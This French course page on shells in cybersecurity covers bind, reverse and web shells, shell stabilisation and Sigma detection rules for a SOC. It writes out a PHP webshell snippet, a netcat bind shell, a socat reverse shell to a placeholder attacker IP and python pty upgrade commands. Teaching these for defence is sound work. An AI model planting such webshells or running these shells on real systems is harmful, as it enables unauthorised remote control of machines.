Shell
Ce cours a pour but de présenter le concept de shell, tout d’abord en informatique, puis dans le cadre de la cybersécurité. Nous aborderons alors les différents types de shell utilisés par les attaquants, les techniques de stabilisation de shell et les méthodes de détection notamment au sein d’un SOC.
Définitions
Le shell
Un shell, par définition coquille est un programme permettant d’interagir avec le système.
Grâce au shell nous pouvons lancer des programmes, par exemple la commande ls pour lister les fichiers présents dans un dossier. Certaines commandes font partie intégrantes du shell, la commande cd par exemple. On parle alors de builtins fonction.
Les shells que l’on utilise aujourd’hui gèrent des concepts plus larges, comme les redirections ou les pipes.
Voici quelques exemples de shell utilisé aujourd’hui :
- Bash : Shell Linux le plus rependu
- ZSH : Notamment présent sur Kali Linux
- Fish : Shell Linux
- Powershell : Shell Windows
- Cmd : Shell historique DOS (Windows)
Le terminal
Un autre terme utilisé lorsque l’on parle du shell est le terminal. Bien que très souvent liés, il s’agit de deux concepts distincts.
Le terminal est le programme qui lit les entrées du clavier, les fournies au shell puis affiche le résultat.
Shell et cybersécurité
L’un des objectifs des attaquants, peut être de forcer un système distant à exécuter un code arbitraire. Lorsque cela est possible, ces derniers vont faire en sorte d’obtenir un shell, leur permettant d’avoir un accès au système.
Aller plus loin
La réalisation d’un shell minimaliste est en fait une tâche assez simple que je vous invite à réaliser via le tutoriel suivant :
https://brennan.io/2015/01/16/write-a-shell-in-c
Les différents types de shell
Bind shell
Un bind shell permet à l’attaquant d’ouvrir un port sur la machine cible sur lequel une fois connecté, un shell se présentera.
Reverse shell
Lors de l’utilisation d’un reverse shell, la machine cible se connecte à l’attaquant. Cette technique est particulièrement intéressante car elle permet d’outrepasser les pare-feux, ces derniers peuvent bloquer certains ports en entrée.
Web shell
Un webshell a la spécificité d’être exécuté sur un serveur web, ainsi ce dernier sera écrit dans un langage supporté par le serveur. Ce dernier communiquera avec l’attaquant non pas au travers des protocoles TCP/UDP, mais directement via la couche HTTP. Voici un exemple de reverse shell php :
<?php
if(isset($_GET['cmd']))
{
echo system($_GET['command']);
}
?>
L’attaquant utilisera donc ce dernier de la façon suivante :
https://cible.fr/ressource?cmd=<commande_malveillante>
Un webshell peut-être déposé de divers façons, voici une liste non-exhaustive :
- Exploitation d’un formulaire d’upload
- Injection SQL
- XSS
- RCE
- LFI/RFI
Obtention d’un shell et techniques de stabilisation
Nous allons décrire dans cette section comment obtenir un shell puis le stabiliser. La phase de stabilisation consiste à obtenir un shell plus interactif possible et robuste, permettant à l’attaquant de poursuivre son intrusion aisément.
Netcat
L’obtention d’un shell basique peut s’avérer relativement simple. Netcat est un outil permettant la manipulation des socket réseaux, ce dernier est présent par défaut sur de nombreuses distributions Linux et peut être installé également sous Windows.
Voici un exemple de bind shell Windows relativement simple utilisant Netcat :
nc.exe -nvlp 4242 -e cmd.exe
nc <ip_cible> 4242
La première commande, à exécuter depuis la machine de l’attaquant permet d’écouter sur le port 4242 en y attachant le processus cmd.
La seconde commande se connecte sur le port ouvert afin d’avoir accès au cmd en question et ainsi avoir un accès à la machine cible de façon interactive.
Python
L’une des techniques de stabilisation les plus simples et rependues consiste à utiliser les pseudo-terminaux python. Étant donné que python est installé par défaut sur de nombreuses distributions Linux cette technique fonctionne dans de nombreux cas :
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL+Z
stty raw -echo; fg
Ces commandes permettent respectivement :
- D’utiliser le module python pty (pseudo-terminaux), permettant d’avoir un shell plus complet.
- Définir la variable d’environnement TERM comme étant xterm, cela indique que le terminal utilisé est similaire à xterm. Permettant d’avoir accès à certaines commande comme vim.
- Définir en arrière-plan le shell pour revenir à notre terminal.
- Supprimer l’affichage de notre terminal et revenir au shell, cela permet d’avoir accès telles que l’autocomplétion des commandes.
Socat
Socat est relativement semble à netcat, il s’agit également d’un outil qui permet la manipulation des sockets, celui-ci présente quelques avantages :
- Gère l’envoi des signaux
- Affichage des erreurs
- Permet la mise en place de communications chiffrées
Il est à noter que netcat est rarement installé par défaut, c’est pourquoi il faudra pour l’attaquant ajouter ce dernier sur la machine. Il existe notamment des versions pré compilées qui facilitent cette étape. Voici un exemple d’utilisation de soc :
socat TCP-L:<port> -
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
- La première commande à exécuter sur la machine de l’attaquant permet de recevoir le reverse shell (équivalent de nc -lnvp <port>)
- La seconde permet de connecter un shell à la machine de l’attaquant, l’option pipes permet d’obtenir une sortie style « Unix ».
Pwncat
Pwncat est un outil permettant de créer un reverse shell qui possède les caractéristiques suivantes :
- Évasion IDS/IPS
- Gestion des signaux
- Peut agir en tant que proxy (permettant ainsi de pivoter dans un réseau distant)
- Facilitation de la post-exploitation : pwncat embarque des fonctions intégrées, permettant directement d’énumérer la machine cible
Il ne s’agit que d’un échantillon des possibilités offertes par pwncat, la liste complète est disponible le site de l’outil :
Détection
Diverses règles de détection peuvent être mises en place afin de détecter ces comportements.
Voici une règle sigma qui détecte quand un pseudo terminal est lancé via python :
title: Python Spawning Pretty TTY
id: c4042d54-110d-45dd-a0e1-05c47822c937
related:
- id: 32e62bc7-3de0-4bb1-90af-532978fe42c0
type: similar
status: experimental
description: Detects python spawning a pretty tty which could be indicative of potential reverse shell activity
references:
- https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
author: Nextron Systems
date: 2022/06/03
modified: 2023/06/16
tags:
- attack.execution
- attack.t1059
logsource:
category: process_creation
product: linux
detection:
selection_img:
- Image|endswith:
- '/python'
- '/python2'
- '/python3'
- Image|contains:
- '/python2.' # python image is always of the form ../python3.10; ../python is just a symlink
- '/python3.'
selection_cli_1:
CommandLine|contains|all:
- 'import pty'
- '.spawn('
selection_cli_2:
CommandLine|contains: 'from pty import spawn'
condition: selection_img and 1 of selection_cli_*
falsepositives:
- Unknown
level: high
Nous pouvons également surveiller la création de process de type shell via php, ce qui peut-être un indicateur de reverse-shell :
title: Potential PHP Reverse Shell
id: c6714a24-d7d5-4283-a36b-3ffd091d5f7e
status: test
description: |
Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets.
Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.
references:
- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- https://www.revshells.com/
author: '@d4ns4n_'
date: 2023/04/07
tags:
- attack.execution
logsource:
category: process_creation
product: linux
detection:
selection:
Image|contains: '/php'
CommandLine|contains|all:
- ' -r '
- 'fsockopen'
CommandLine|contains:
- 'ash'
- 'bash'
- 'bsh'
- 'csh'
- 'ksh'
- 'pdksh'
- 'sh'
- 'tcsh'
- 'zsh'
condition: selection
falsepositives:
- Unknown
level: high
Bien entendu les attaquants peuvent trouver des techniques permettant d’outrepasser les détections. Je vous invite à consulter le lien suivant particulièrement intéressant sur la mise en place d’un shell fonctionnant via le protocole ICMP :
https://ghost.neopipe.fr/icmp-reverse-shell/
Quiz
Pour finir voici un case qui résume les points abordés ainsi que d’autres points pour lesquels je vous invite à faire des recherches :
Références
Définitions
- https://effective-shell.com/part-2-core-skills/what-is-a-shell/
- https://brennan.io/2015/01/16/write-a-shell-in-c/
- https://attack.mitre.org/techniques/T1059/
- https://attack.mitre.org/techniques/T1059/004/
- https://attack.mitre.org/techniques/T1505/003/
Types de shell et stabilisation
- https://www.group-ib.com/resources/knowledge-hub/web-shell/
- https://docs.python.org/fr/3/library/pty.html
- https://doc.ubuntu-fr.org/xterm
- https://pwncat.org/
- https://www.offsec.com/metasploit-unleashed/meterpreter-basics/
- https://tryhackme.com/r/room/introtoshells